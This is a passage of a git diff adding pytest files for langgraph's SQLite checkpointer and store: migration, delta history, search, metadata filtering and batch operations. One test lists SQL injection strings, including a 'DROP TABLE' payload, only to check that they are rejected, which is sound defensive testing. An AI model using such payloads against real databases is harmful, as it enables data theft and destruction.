BinaryOperatorAggregate(list, operator.add)] + + return ( + StateGraph(BinopState) + .add_node("noop", _noop) + .add_edge(START, "noop") + .add_edge("noop", END) + .compile(checkpointer=checkpointer) + ) + + +def _delta_graph(checkpointer: Any) -> Any: + class DeltaState(TypedDict): + items: Annotated[list, DeltaChannel(_list_concat)] + + return ( + StateGraph(DeltaState) + .add_node("noop", _noop) + .add_edge(START, "noop") + .add_edge("noop", END) + .compile(checkpointer=checkpointer) + ) + + +def _drive(graph: Any, config: RunnableConfig, tag: str, n: int) -> None: + for i in range(n): + graph.invoke({"items": [f"{tag}{i}"]}, config) + + +async def _adrive(graph: Any, config: RunnableConfig, tag: str, n: int) -> None: + for i in range(n): + await graph.ainvoke({"items": [f"{tag}{i}"]}, config) + + +def _settled_boundaries(history: list) -> list[tuple[RunnableConfig, list]]: + """`(config, items)` for every checkpoint with `next == ('__start__',)` + — the stable inter-invoke boundaries that round-trip predictably. + """ + return [ + (s.config, list(s.values.get("items", []))) + for s in history + if s.next == ("__start__",) + ] + + +def test_migration_preserves_pre_migration_state_sync() -> None: + """Drive 3 invokes under `BinaryOperatorAggregate`, swap the + annotation to `DeltaChannel` on the same sqlite-backed thread, and + verify every settled pre-migration boundary round-trips exactly. + + The override's streaming walk must identify the plain accumulated + list at each pre-migration ancestor as a valid `seed` even though + no `_DeltaSnapshot` was ever written there. + """ + with SqliteSaver.from_conn_string(":memory:") as saver: + config: RunnableConfig = {"configurable": {"thread_id": "mig-sync"}} + + binop = _binop_graph(saver) + _drive(binop, config, "u", 3) + + pre_boundaries = _settled_boundaries(list(binop.get_state_history(config))) + assert len(pre_boundaries) >= 2, "expected multiple settled boundaries" + + delta = _delta_graph(saver) + for cfg, items in pre_boundaries: + snap = delta.get_state(cfg) + assert list(snap.values.get("items", [])) == items, ( + f"snapshot mismatch at {cfg['configurable']['checkpoint_id']}: " + f"expected {items}, got {snap.values.get('items', [])}" + ) + + +def test_migration_continued_thread_folds_deltas_on_seed_sync() -> None: + """After migration, driving one more super-step extends the + pre-migration accumulated state via the delta reducer — the seed + plus a single new write. + """ + with SqliteSaver.from_conn_string(":memory:") as saver: + config: RunnableConfig = {"configurable": {"thread_id": "mig-continue-sync"}} + + binop = _binop_graph(saver) + _drive(binop, config, "u", 3) + + pre_history = list(binop.get_state_history(config)) + pre_boundaries = _settled_boundaries(pre_history) + # Latest settled boundary — the leaf pre-migration state. + leaf_cfg, leaf_items = pre_boundaries[0] + assert leaf_items, "expected non-empty pre-migration leaf" + + delta = _delta_graph(saver) + delta.invoke({"items": ["after-migration"]}, leaf_cfg) + new_state = delta.get_state(config).values["items"] + assert new_state[: len(leaf_items)] == leaf_items + assert "after-migration" in new_state + + +async def test_migration_preserves_pre_migration_state_async() -> None: + """Async equivalent of the basic-migration round-trip check on + `AsyncSqliteSaver`.""" + async with AsyncSqliteSaver.from_conn_string(":memory:") as saver: + config: RunnableConfig = {"configurable": {"thread_id": "mig-async"}} + + binop = _binop_graph(saver) + await _adrive(binop, config, "u", 3) + + pre_history = [s async for s in binop.aget_state_history(config)] + pre_boundaries = _settled_boundaries(pre_history) + assert len(pre_boundaries) >= 2 + + delta = _delta_graph(saver) + for cfg, items in pre_boundaries: + snap = await delta.aget_state(cfg) + assert list(snap.values.get("items", [])) == items, ( + f"async snapshot mismatch at {cfg['configurable']['checkpoint_id']}" + ) diff --git a/libs/checkpoint-sqlite/tests/test_get_delta_channel_history.py b/libs/checkpoint-sqlite/tests/test_get_delta_channel_history.py new file mode 100644 index 0000000..8e19c8b --- /dev/null +++ b/libs/checkpoint-sqlite/tests/test_get_delta_channel_history.py @@ -0,0 +1,271 @@ +"""Smoke tests for `BaseCheckpointSaver.get_delta_channel_history` on sqlite. + +`SqliteSaver` (and `AsyncSqliteSaver`) deliberately don't override the +default implementation in `BaseCheckpointSaver` — these tests pin the +default impl to behave correctly end-to-end against a real persistent +saver and a real `DeltaChannel`-backed graph. + +Scenarios covered: + +* Empty `channels` argument returns an empty mapping (no I/O). +* On a non-trivial multi-checkpoint thread, per-channel writes come back + oldest→newest. +* When the walk reaches the root without ever finding a stored value, + `seed` is omitted from the entry (consumer treats absence as "start + empty"). +* When a `_DeltaSnapshot` blob is present at an ancestor, it is returned + as the `seed`. +* The async saver returns the same shape via `aget_delta_channel_history`. +""" + +from __future__ import annotations + +import operator +from typing import Annotated, Any + +import pytest +from langchain_core.runnables import RunnableConfig + +# `langgraph` is not a dep of `langgraph-checkpoint-sqlite`. When tests run +# in the sqlite lib's standalone CI environment without it installed, skip +# the whole module rather than failing at import. +pytest.importorskip("langgraph.channels.delta", reason="langgraph core not installed") +pytest.importorskip("langgraph.graph", reason="langgraph core not installed") + +from langgraph.channels.delta import DeltaChannel # type: ignore[import-untyped] # noqa: E402,I001 +from langgraph.checkpoint.serde.types import _DeltaSnapshot # noqa: E402 +from langgraph.graph import END, START, StateGraph # type: ignore[import-untyped] # noqa: E402 +from typing_extensions import TypedDict # noqa: E402 + +from langgraph.checkpoint.sqlite import SqliteSaver # noqa: E402 +from langgraph.checkpoint.sqlite.aio import AsyncSqliteSaver # noqa: E402 + +pytestmark = pytest.mark.anyio + + +# --------------------------------------------------------------------------- +# Graph helpers +# --------------------------------------------------------------------------- + + +def _noop(_state: Any) -> dict[str, Any]: + return {} + + +class _DeltaState(TypedDict): + items: Annotated[list, DeltaChannel(operator.add)] + + +def _delta_graph(checkpointer: Any) -> Any: + return ( + StateGraph(_DeltaState) + .add_node("noop", _noop) + .add_edge(START, "noop") + .add_edge("noop", END) + .compile(checkpointer=checkpointer) + ) + + +def _drive(graph: Any, config: RunnableConfig, n: int) -> None: + for i in range(n): + graph.invoke({"items": [f"v{i}"]}, config) + + +async def _adrive(graph: Any, config: RunnableConfig, n: int) -> None: + for i in range(n): + await graph.ainvoke({"items": [f"v{i}"]}, config) + + +def _pick_non_root(saver: Any, config: RunnableConfig) -> RunnableConfig: + """Return a config pointing at a checkpoint that has at least one ancestor. + + `get_delta_channel_history` walks the parent chain — calling it on the root + checkpoint produces `writes=[]` and no `seed`, which is uninteresting + for the multi-step assertions below. + """ + history = list(saver.list(config)) + assert history, "expected non-empty history" + # `list` yields newest→oldest; the second entry has the first entry + # as its parent, so its parent_config is non-None. + for tup in history: + if tup.parent_config is not None: + return tup.config + raise AssertionError("no checkpoint with a parent in history") + + +async def _apick_non_root(saver: Any, config: RunnableConfig) -> RunnableConfig: + history = [tup async for tup in saver.alist(config)] + assert history, "expected non-empty history" + for tup in history: + if tup.parent_config is not None: + return tup.config + raise AssertionError("no checkpoint with a parent in history") + + +# --------------------------------------------------------------------------- +# Sync: SqliteSaver +# --------------------------------------------------------------------------- + + +def test_empty_channels_returns_empty_mapping_sync() -> None: + """Empty `channels` short-circuits to `{}` without touching storage.""" + with SqliteSaver.from_conn_string(":memory:") as saver: + config: RunnableConfig = {"configurable": {"thread_id": "empty"}} + assert saver.get_delta_channel_history(config=config, channels=[]) == {} + + +def test_writes_history_oldest_to_newest_sync() -> None: + """Per-channel writes accumulated across the walk come back oldest→newest.""" + with SqliteSaver.from_conn_string(":memory:") as saver: + config: RunnableConfig = {"configurable": {"thread_id": "history-sync"}} + graph = _delta_graph(saver) + _drive(graph, config, 3) + + target_cfg = _pick_non_root(saver, config) + result = saver.get_delta_channel_history(config=target_cfg, channels=["items"]) + + assert "items" in result + entry = result["items"] + assert isinstance(entry["writes"], list) + + # If any writes were collected, their values should be in oldest→newest + # order — i.e. tagged 'v0', 'v1', ... matching invoke order. + write_values: list[Any] = [] + for _task_id, channel, value in entry["writes"]: + assert channel == "items" + write_values.extend(value if isinstance(value, list) else [value]) + + # `_drive` invokes with payloads ['v0'], ['v1'], ['v2']. Whatever + # subset shows up in the chain must be a contiguous prefix in order. + for idx, val in enumerate(write_values): + assert val == f"v{idx}", ( + f"writes not in oldest→newest order: {write_values}" + ) + + +def test_seed_present_when_snapshot_in_ancestor_sync() -> None: + """Inserting a `_DeltaSnapshot` blob at an ancestor → walk returns it as `seed`.""" + with SqliteSaver.from_conn_string(":memory:") as saver: + config: RunnableConfig = {"configurable": {"thread_id": "seed-sync"}} + graph = _delta_graph(saver) + _drive(graph, config, 2) + + # Find the oldest non-root checkpoint, then walk to its parent and + # rewrite that parent's `channel_values["items"]` to a real + # `_DeltaSnapshot`. After this surgery, calling `get_delta_channel_history` + # at the leaf must return the snapshot value as `seed`. + history = list(saver.list(config)) + assert len(history) >= 2 + leaf_tup = history[0] + # Walk to an ancestor with a parent_config (any non-root will do). + ancestor_tup = next( + (tup for tup in history if tup.parent_config is not None), None + ) + assert ancestor_tup is not None + parent_cfg = ancestor_tup.parent_config + assert parent_cfg is not None + parent_tup = saver.get_tuple(parent_cfg) + assert parent_tup is not None + + snapshot_value = ["seeded", "items"] + parent_tup.checkpoint["channel_values"]["items"] = _DeltaSnapshot( + snapshot_value + ) + # Make sure the channel has a version so the optimized blob lookup + # in any future override has something to hit. + parent_tup.checkpoint["channel_versions"].setdefault("items", 1) + saver.put( + parent_tup.parent_config or {"configurable": parent_cfg["configurable"]}, + parent_tup.checkpoint, + parent_tup.metadata, + {}, + ) + + result = saver.get_delta_channel_history( + config=leaf_tup.config, channels=["items"] + ) + entry = result["items"] + assert "seed" in entry, f"expected seed to be present, got {entry}" + seed = entry["seed"] + assert isinstance(seed, _DeltaSnapshot), ( + f"expected _DeltaSnapshot, got {seed!r}" + ) + assert seed.value == snapshot_value + + +def test_seed_omitted_when_walk_reaches_root_sync() -> None: + """`get_delta_channel_history` on the root checkpoint → no `seed` key, no writes.""" + with SqliteSaver.from_conn_string(":memory:") as saver: + config: RunnableConfig = {"configurable": {"thread_id": "root-sync"}} + graph = _delta_graph(saver) + _drive(graph, config, 1) + + history = list(saver.list(config)) + # Root is the oldest checkpoint (no parent_config). + root_tup = history[-1] + assert root_tup.parent_config is None + + result = saver.get_delta_channel_history( + config=root_tup.config, channels=["items"] + ) + entry = result["items"] + assert "seed" not in entry, f"root-walk should have no seed, got {entry}" + assert entry["writes"] == [] + + +# --------------------------------------------------------------------------- +# Async: AsyncSqliteSaver +# --------------------------------------------------------------------------- + + +async def test_empty_channels_returns_empty_mapping_async() -> None: + """Async equivalent of the empty-channels short-circuit.""" + async with AsyncSqliteSaver.from_conn_string(":memory:") as saver: + config: RunnableConfig = {"configurable": {"thread_id": "empty-async"}} + assert await saver.aget_delta_channel_history(config=config, channels=[]) == {} + + +async def test_writes_history_oldest_to_newest_async() -> None: + """Async equivalent of the oldest→newest ordering check.""" + async with AsyncSqliteSaver.from_conn_string(":memory:") as saver: + config: RunnableConfig = {"configurable": {"thread_id": "history-async"}} + graph = _delta_graph(saver) + await _adrive(graph, config, 3) + + target_cfg = await _apick_non_root(saver, config) + result = await saver.aget_delta_channel_history( + config=target_cfg, channels=["items"] + ) + + assert "items" in result + entry = result["items"] + assert isinstance(entry["writes"], list) + + write_values: list[Any] = [] + for _task_id, channel, value in entry["writes"]: + assert channel == "items" + write_values.extend(value if isinstance(value, list) else [value]) + + for idx, val in enumerate(write_values): + assert val == f"v{idx}", ( + f"writes not in oldest→newest order: {write_values}" + ) + + +async def test_seed_omitted_when_walk_reaches_root_async() -> None: + """Async equivalent of the root-walk seed-absence check.""" + async with AsyncSqliteSaver.from_conn_string(":memory:") as saver: + config: RunnableConfig = {"configurable": {"thread_id": "root-async"}} + graph = _delta_graph(saver) + await _adrive(graph, config, 1) + + history = [tup async for tup in saver.alist(config)] + root_tup = history[-1] + assert root_tup.parent_config is None + + result = await saver.aget_delta_channel_history( + config=root_tup.config, channels=["items"] + ) + entry = result["items"] + assert "seed" not in entry, f"root-walk should have no seed, got {entry}" + assert entry["writes"] == [] diff --git a/libs/checkpoint-sqlite/tests/test_sqlite.py b/libs/checkpoint-sqlite/tests/test_sqlite.py new file mode 100644 index 0000000..9eda0bc --- /dev/null +++ b/libs/checkpoint-sqlite/tests/test_sqlite.py @@ -0,0 +1,309 @@ +from typing import Any, cast + +import pytest +from langchain_core.runnables import RunnableConfig +from langgraph.checkpoint.base import ( + Checkpoint, + CheckpointMetadata, + create_checkpoint, + empty_checkpoint, +) + +from langgraph.checkpoint.sqlite import SqliteSaver +from langgraph.checkpoint.sqlite.utils import _metadata_predicate, search_where + + +class TestSqliteSaver: + @pytest.fixture(autouse=True) + def setup(self) -> None: + # objects for test setup + self.config_1: RunnableConfig = { + "configurable": { + "thread_id": "thread-1", + # for backwards compatibility testing + "checkpoint_id": "1", + "checkpoint_ns": "", + } + } + self.config_2: RunnableConfig = { + "configurable": { + "thread_id": "thread-2", + "checkpoint_id": "2", + "checkpoint_ns": "", + } + } + self.config_3: RunnableConfig = { + "configurable": { + "thread_id": "thread-2", + "checkpoint_id": "2-inner", + "checkpoint_ns": "inner", + } + } + + self.chkpnt_1: Checkpoint = empty_checkpoint() + self.chkpnt_2: Checkpoint = create_checkpoint(self.chkpnt_1, {}, 1) + self.chkpnt_3: Checkpoint = empty_checkpoint() + + self.metadata_1: CheckpointMetadata = { + "source": "input", + "step": 2, + "writes": {}, + "score": 1, + } + self.metadata_2: CheckpointMetadata = { + "source": "loop", + "step": 1, + "writes": {"foo": "bar"}, + "score": None, + } + self.metadata_3: CheckpointMetadata = {} + + def test_combined_metadata(self) -> None: + with SqliteSaver.from_conn_string(":memory:") as saver: + config: RunnableConfig = { + "configurable": { + "thread_id": "thread-2", + "checkpoint_ns": "", + "__super_private_key": "super_private_value", + }, + "metadata": {"run_id": "my_run_id"}, + } + saver.put(config, self.chkpnt_2, self.metadata_2, {}) + checkpoint = saver.get_tuple(config) + assert checkpoint is not None and checkpoint.metadata == { + **self.metadata_2, + "run_id": "my_run_id", + } + + def test_search(self) -> None: + with SqliteSaver.from_conn_string(":memory:") as saver: + # set up test + # save checkpoints + saver.put(self.config_1, self.chkpnt_1, self.metadata_1, {}) + saver.put(self.config_2, self.chkpnt_2, self.metadata_2, {}) + saver.put(self.config_3, self.chkpnt_3, self.metadata_3, {}) + + # call method / assertions + query_1 = {"source": "input"} # search by 1 key + query_2 = { + "step": 1, + "writes": {"foo": "bar"}, + } # search by multiple keys + query_3: dict[str, Any] = {} # search by no keys, return all checkpoints + query_4 = {"source": "update", "step": 1} # no match + + search_results_1 = list(saver.list(None, filter=query_1)) + assert len(search_results_1) == 1 + assert search_results_1[0].metadata == self.metadata_1 + + search_results_2 = list(saver.list(None, filter=query_2)) + assert len(search_results_2) == 1 + assert search_results_2[0].metadata == self.metadata_2 + + search_results_3 = list(saver.list(None, filter=query_3)) + assert len(search_results_3) == 3 + + search_results_4 = list(saver.list(None, filter=query_4)) + assert len(search_results_4) == 0 + + # search by config (defaults to checkpoints across all namespaces) + search_results_5 = list( + saver.list({"configurable": {"thread_id": "thread-2"}}) + ) + assert len(search_results_5) == 2 + assert { + search_results_5[0].config["configurable"]["checkpoint_ns"], + search_results_5[1].config["configurable"]["checkpoint_ns"], + } == {"", "inner"} + + # search with before param + search_results_6 = list(saver.list(None, before=search_results_5[1].config)) + assert len(search_results_6) == 1 + assert search_results_6[0].config["configurable"]["thread_id"] == "thread-1" + + # search with limit param + search_results_7 = list( + saver.list({"configurable": {"thread_id": "thread-2"}}, limit=1) + ) + assert len(search_results_7) == 1 + assert search_results_7[0].config["configurable"]["thread_id"] == "thread-2" + + def test_search_where(self) -> None: + # call method / assertions + expected_predicate_1 = "WHERE json_extract(CAST(metadata AS TEXT), '$.source') = ? AND json_extract(CAST(metadata AS TEXT), '$.step') = ? AND json_extract(CAST(metadata AS TEXT), '$.writes') = ? AND json_extract(CAST(metadata AS TEXT), '$.score') = ? AND checkpoint_id < ?" + expected_param_values_1 = ["input", 2, "{}", 1, "1"] + assert search_where( + None, cast(dict[str, Any], self.metadata_1), self.config_1 + ) == ( + expected_predicate_1, + expected_param_values_1, + ) + + def test_metadata_predicate(self) -> None: + # call method / assertions + expected_predicate_1 = [ + "json_extract(CAST(metadata AS TEXT), '$.source') = ?", + "json_extract(CAST(metadata AS TEXT), '$.step') = ?", + "json_extract(CAST(metadata AS TEXT), '$.writes') = ?", + "json_extract(CAST(metadata AS TEXT), '$.score') = ?", + ] + expected_predicate_2 = [ + "json_extract(CAST(metadata AS TEXT), '$.source') = ?", + "json_extract(CAST(metadata AS TEXT), '$.step') = ?", + "json_extract(CAST(metadata AS TEXT), '$.writes') = ?", + "json_extract(CAST(metadata AS TEXT), '$.score') IS ?", + ] + expected_predicate_3: list[str] = [] + + expected_param_values_1 = ["input", 2, "{}", 1] + expected_param_values_2 = ["loop", 1, '{"foo":"bar"}', None] + expected_param_values_3: list[Any] = [] + + assert _metadata_predicate(cast(dict[str, Any], self.metadata_1)) == ( + expected_predicate_1, + expected_param_values_1, + ) + assert _metadata_predicate(cast(dict[str, Any], self.metadata_2)) == ( + expected_predicate_2, + expected_param_values_2, + ) + assert _metadata_predicate(cast(dict[str, Any], self.metadata_3)) == ( + expected_predicate_3, + expected_param_values_3, + ) + + async def test_informative_async_errors(self) -> None: + with SqliteSaver.from_conn_string(":memory:") as saver: + # call method / assertions + with pytest.raises(NotImplementedError, match="AsyncSqliteSaver"): + await saver.aget(self.config_1) + with pytest.raises(NotImplementedError, match="AsyncSqliteSaver"): + await saver.aget_tuple(self.config_1) + with pytest.raises(NotImplementedError, match="AsyncSqliteSaver"): + async for _ in saver.alist(self.config_1): + pass + + def test_metadata_predicate_sql_injection_prevention(self) -> None: + """Test that _metadata_predicate rejects malicious filter keys.""" + # Test various SQL injection payloads + malicious_keys = [ + "x') OR '1'='1", # Boolean-based injection + "x') OR 1=1 --", # Comment-based injection + "x') UNION SELECT 1,2,3,4,5,6,7 --", # UNION-based injection + "access') = 'public' OR '1'='1' OR json_extract(value, '$.", # Complex injection + "'; DROP TABLE checkpoints; --", # Destructive injection + ] + + for malicious_key in malicious_keys: + with pytest.raises(ValueError, match="Invalid filter key"): + _metadata_predicate({malicious_key: "dummy"}) + + def test_checkpoint_search_sql_injection_prevention(self) -> None: + """Test that SQL injection via malicious filter keys is prevented in checkpoint search.""" + with SqliteSaver.from_conn_string(":memory:") as saver: + # Setup: Create checkpoints with different metadata + config_public: RunnableConfig = { + "configurable": { + "thread_id": "thread-public", + "checkpoint_ns": "", + } + } + config_private: RunnableConfig = { + "configurable": { + "thread_id": "thread-private", + "checkpoint_ns": "", + } + } + + checkpoint_public = empty_checkpoint() + checkpoint_private = empty_checkpoint() + + metadata_public: CheckpointMetadata = { + "access": "public", + "data": "public information", + } + metadata_private: CheckpointMetadata = { + "access": "private", + "data": "secret information", + "password": "secret123", + } + + saver.put(config_public, checkpoint_public, metadata_public, {}) + saver.put(config_private, checkpoint_private, metadata_private, {}) + + # Normal query - should return only public checkpoint + normal_results = list(saver.list(None, filter={"access": "public"})) + assert len(normal_results) == 1 + assert normal_results[0].metadata["access"] == "public" + + # SQL injection attempt should raise ValueError + malicious_key = ( + "access') = 'public' OR '1'='1' OR json_extract(metadata, '$." + ) + + with pytest.raises(ValueError, match="Invalid filter key"): + list(saver.list(None, filter={malicious_key: "dummy"})) + + def test_limit_parameter_sql_injection_prevention(self) -> None: + """Test that the limit parameter properly uses parameterized queries to prevent SQL injection.""" + with SqliteSaver.from_conn_string(":memory:") as saver: + # Setup: Create multiple checkpoints + for i in range(5): + config: RunnableConfig = { + "configurable": { + "thread_id": f"thread-{i}", + "checkpoint_ns": "", + } + } + checkpoint = empty_checkpoint() + metadata: CheckpointMetadata = {"index": i} + saver.put(config, checkpoint, metadata, {}) + + # Test that limit works correctly with valid integer + results = list(saver.list(None, limit=2)) + assert len(results) == 2 + + # Test that limit=0 returns no results + results = list(saver.list(None, limit=0)) + assert len(results) == 0 + + # Test that limit=None returns all results + results = list(saver.list(None, limit=None)) + assert len(results) == 5 + + def test_metadata_filter_keys_with_hyphens_and_digits(self) -> None: + """Metadata keys with hyphens and digit-start should be filterable. + + This exposes incorrect JSON path handling (unquoted segments) by asserting + that such filters successfully match saved checkpoints. + """ + with SqliteSaver.from_conn_string(":memory:") as saver: + config: RunnableConfig = { + "configurable": { + "thread_id": "thread-hyphen-digit", + "checkpoint_ns": "", + } + } + checkpoint = empty_checkpoint() + metadata: CheckpointMetadata = { + "access-level": "public", + "user": {"access-level": "nested", "123abc": "ok2"}, + "123abc": "ok", + } + saver.put(config, checkpoint, metadata, {}) + + # Top-level hyphenated key + results = list(saver.list(None, filter={"access-level": "public"})) + assert len(results) == 1 + + # Nested hyphenated key via dotted path + results = list(saver.list(None, filter={"user.access-level": "nested"})) + assert len(results) == 1 + + # Top-level digit-starting key + results = list(saver.list(None, filter={"123abc": "ok"})) + assert len(results) == 1 + + # Nested digit-starting key via dotted path + results = list(saver.list(None, filter={"user.123abc": "ok2"})) + assert len(results) == 1 diff --git a/libs/checkpoint-sqlite/tests/test_store.py b/libs/checkpoint-sqlite/tests/test_store.py new file mode 100644 index 0000000..26d85d4 --- /dev/null +++ b/libs/checkpoint-sqlite/tests/test_store.py @@ -0,0 +1,1231 @@ +import os +import re +import tempfile +import uuid +from collections.abc import Generator, Iterable +from contextlib import contextmanager +from typing import Any, Literal, cast + +import pytest +from langchain_core.embeddings import Embeddings +from langgraph.store.base import ( + GetOp, + Item, + ListNamespacesOp, + MatchCondition, + PutOp, + SearchOp, +) + +from langgraph.store.sqlite import SqliteStore +from langgraph.store.sqlite.base import SqliteIndexConfig + + +# Local embeddings implementation for testing vector search +class CharacterEmbeddings(Embeddings): + """Simple character-frequency based embeddings using random projections.""" + + def __init__(self, dims: int = 50, seed: int = 42): + """Initialize with embedding dimensions and random seed.""" + import math + import random + from collections import defaultdict + + self._rng = random.Random(seed) + self.dims = dims + # Create projection vector for each character lazily + self._char_projections: dict[str, list[float]] = defaultdict( + lambda: [ + self._rng.gauss(0, 1 / math.sqrt(self.dims)) for _ in range(self.dims) + ] + ) + + def _embed_one(self, text: str) -> list[float]: + """Embed a single text.""" + import math + from collections import Counter + + counts = Counter(text) + total = sum(counts.values()) + + if total == 0: + return [0.0] * self.dims + + embedding = [0.0] * self.dims + for char, count in counts.items(): + weight = count / total + char_proj = self._char_projections[char] + for i, proj in enumerate(char_proj): + embedding[i] += weight * proj + + norm = math.sqrt(sum(x * x for x in embedding)) + if norm > 0: + embedding = [x / norm for x in embedding] + + return embedding + + def embed_documents(self, texts: list[str]) -> list[list[float]]: + """Embed a list of documents.""" + return [self._embed_one(text) for text in texts] + + def embed_query(self, text: str) -> list[float]: + """Embed a query string.""" + return self._embed_one(text) + + def __eq__(self, other: Any) -> bool: + return isinstance(other, CharacterEmbeddings) and self.dims == other.dims + + +@pytest.fixture(scope="function", params=["memory", "file"]) +def store(request: Any) -> Generator[SqliteStore, None, None]: + """Create a SqliteStore for testing.""" + if request.param == "memory": + # In-memory store + with SqliteStore.from_conn_string(":memory:") as store: + store.setup() + yield store + else: + # Temporary file store + temp_file = tempfile.NamedTemporaryFile(delete=False) + temp_file.close() + try: + with SqliteStore.from_conn_string(temp_file.name) as store: + store.setup() + yield store + finally: + os.unlink(temp_file.name) + + +@pytest.fixture(scope="function") +def fake_embeddings() -> CharacterEmbeddings: + """Create fake embeddings for testing.""" + return CharacterEmbeddings(dims=500) + + +# Define vector types and distance types for parametrized tests +VECTOR_TYPES = ["cosine"] # SQLite only supports cosine similarity + + +@contextmanager +def create_vector_store( + fake_embeddings: CharacterEmbeddings, + text_fields: list[str] | None = None, + distance_type: str = "cosine", + conn_type: Literal["memory", "file"] = "memory", +) -> Generator[SqliteStore, None, None]: + """Create a SqliteStore with vector search enabled.""" + index_config: SqliteIndexConfig = { + "dims": fake_embeddings.dims, + "embed": fake_embeddings, + "text_fields": text_fields, + "distance_type": distance_type, # This is for API consistency but SQLite only supports cosine + } + if conn_type == "memory": + conn_str = ":memory:" + else: + temp_file = tempfile.NamedTemporaryFile(delete=False) + temp_file.close() + conn_str = temp_file.name + + try: + with SqliteStore.from_conn_string(conn_str, index=index_config) as store: + store.setup() + yield store + finally: + if conn_type == "file": + os.unlink(conn_str) + + +def test_batch_order(store: SqliteStore) -> None: + # Setup test data + store.put(("test", "foo"), "key1", {"data": "value1"}) + store.put(("test", "bar"), "key2", {"data": "value2"}) + + ops = [ + GetOp(namespace=("test", "foo"), key="key1"), + PutOp(namespace=("test", "bar"), key="key2", value={"data": "value2"}), + SearchOp( + namespace_prefix=("test",), filter={"data": "value1"}, limit=10, offset=0 + ), + ListNamespacesOp(match_conditions=None, max_depth=None, limit=10, offset=0), + GetOp(namespace=("test",), key="key3"), + ] + + results = store.batch( + cast(Iterable[GetOp | PutOp | SearchOp | ListNamespacesOp], ops) + ) + assert len(results) == 5 + assert isinstance(results[0], Item) + assert isinstance(results[0].value, dict) + assert results[0].value == {"data": "value1"} + assert results[0].key == "key1" + assert results[0].namespace == ("test", "foo") + assert results[1] is None # Put operation returns None + assert isinstance(results[2], list) + assert len(results[2]) == 1 + assert results[2][0].key == "key1" + assert results[2][0].value == {"data": "value1"} + assert isinstance(results[3], list) + assert len(results[3]) > 0 # Should contain at least our test namespaces + assert ("test", "foo") in results[3] + assert ("test", "bar") in results[3] + assert results[4] is None # Non-existent key returns None + + # Test reordered operations + ops_reordered = [ + SearchOp(namespace_prefix=("test",), filter=None, limit=5, offset=0), + GetOp(namespace=("test", "bar"), key="key2"), + ListNamespacesOp(match_conditions=None, max_depth=None, limit=5, offset=0), + PutOp(namespace=("test",), key="key3", value={"data": "value3"}), + GetOp(namespace=("test", "foo"), key="key1"), + ] + + results_reordered = store.batch( + cast(Iterable[GetOp | PutOp | SearchOp | ListNamespacesOp], ops_reordered) + ) + assert len(results_reordered) == 5 + assert isinstance(results_reordered[0], list) + assert len(results_reordered[0]) >= 2 # Should find at least our two test items + assert isinstance(results_reordered[1], Item) + assert results_reordered[1].value == {"data": "value2"} + assert results_reordered[1].key == "key2" + assert results_reordered[1].namespace == ("test", "bar") + assert isinstance(results_reordered[2], list) + assert len(results_reordered[2]) > 0 + assert results_reordered[3] is None # Put operation returns None + assert isinstance(results_reordered[4], Item) + assert results_reordered[4].value == {"data": "value1"} + assert results_reordered[4].key == "key1" + assert results_reordered[4].namespace == ("test", "foo") + + # Verify the put worked + item3 = store.get(("test",), "key3") + assert item3 is not None + assert item3.value == {"data": "value3"} + + +def test_batch_get_ops(store: SqliteStore) -> None: + # Setup test data + store.put(("test",), "key1", {"data": "value1"}) + store.put(("test",), "key2", {"data": "value2"}) + + ops = [ + GetOp(namespace=("test",), key="key1"), + GetOp(namespace=("test",), key="key2"), + GetOp(namespace=("test",), key="key3"), # Non-existent key + ] + + results = store.batch(ops) + + assert len(results) == 3 + assert results[0] is not None + assert results[1] is not None + assert results[2] is None + assert results[0].key == "key1" + assert results[1].key == "key2" + + +def test_batch_put_ops(store: SqliteStore) -> None: + ops = [ + PutOp(namespace=("test",), key="key1", value={"data": "value1"}), + PutOp(namespace=("test",), key="key2", value={"data": "value2"}), + PutOp(namespace=("test",), key="key3", value=None), # Delete operation + ] + + results = store.batch(ops) + assert len(results) == 3 + assert all(result is None for result in results) + + # Verify the puts worked + item1 = store.get(("test",), "key1") + item2 = store.get(("test",), "key2") + item3 = store.get(("test",), "key3") + + assert item1 and item1.value == {"data": "value1"} + assert item2 and item2.value == {"data": "value2"} + assert item3 is None + + +def test_batch_search_ops(store: SqliteStore) -> None: + # Setup test data + test_data = [ + (("test", "foo"), "key1", {"data": "value1", "tag": "a"}), + (("test", "bar"), "key2", {"data": "value2", "tag": "a"}), + (("test", "baz"), "key3", {"data": "value3", "tag": "b"}), + ] + for namespace, key, value in test_data: + store.put(namespace, key, value) + + ops = [ + SearchOp(namespace_prefix=("test",), filter={"tag": "a"}, limit=10, offset=0), + SearchOp(namespace_prefix=("test",), filter=None, limit=2, offset=0), + SearchOp(namespace_prefix=("test", "foo"), filter=None, limit=10, offset=0), + ] + + results = store.batch(ops) + assert len(results) == 3 + + # First search should find items with tag "a" + assert len(results[0]) == 2 + assert all(item.value["tag"] == "a" for item in results[0]) + + # Second search should return first 2 items + assert len(results[1]) == 2 + + # Third search should only find items in test/foo namespace + assert len(results[2]) == 1 + assert results[2][0].namespace == ("test", "foo") + + +def test_batch_list_namespaces_ops(store: SqliteStore) -> None: + # Setup test data with various namespaces + test_data = [ + (("test", "documents", "public"), "doc1", {"content": "public doc"}), + (("test", "documents", "private"), "doc2", {"content": "private doc"}), + (("test", "images", "public"), "img1", {"content": "public image"}), + (("prod", "documents", "public"), "doc3", {"content": "prod doc"}), + ] + for namespace, key, value in test_data: + store.put(namespace, key, value) + + ops = [ + ListNamespacesOp(match_conditions=None, max_depth=None, limit=10, offset=0), + ListNamespacesOp(match_conditions=None, max_depth=2, limit=10, offset=0), + ListNamespacesOp( + match_conditions=tuple([MatchCondition("suffix", ("public",))]), + max_depth=None, + limit=10, + offset=0, + ), + ] + + results = store.batch( + cast(Iterable[GetOp | PutOp | SearchOp | ListNamespacesOp], ops) + ) + assert len(results) == 3 + + # First operation should list all namespaces + assert len(results[0]) == len(test_data) + + # Second operation should only return namespaces up to depth 2 + assert all(len(ns) <= 2 for ns in results[1]) + + # Third operation should only return namespaces ending with "public" + assert all(ns[-1] == "public" for ns in results[2]) + + +class TestSqliteStore: + def test_basic_store_ops(self) -> None: + with SqliteStore.from_conn_string(":memory:") as store: + store.setup() + namespace = ("test", "documents") + item_id = "doc1" + item_value = {"title": "Test Document", "content": "Hello, World!"} + + store.put(namespace, item_id, item_value) + item = store.get(namespace, item_id) + + assert item + assert item.namespace == namespace + assert item.key == item_id + assert item.value == item_value + + # Test update + # Small delay to ensure the updated timestamp is different + import time + + time.sleep(0.01) + + updated_value = {"title": "Updated Document", "content": "Hello, Updated!"} + store.put(namespace, item_id, updated_value) + updated_item = store.get(namespace, item_id) + + assert 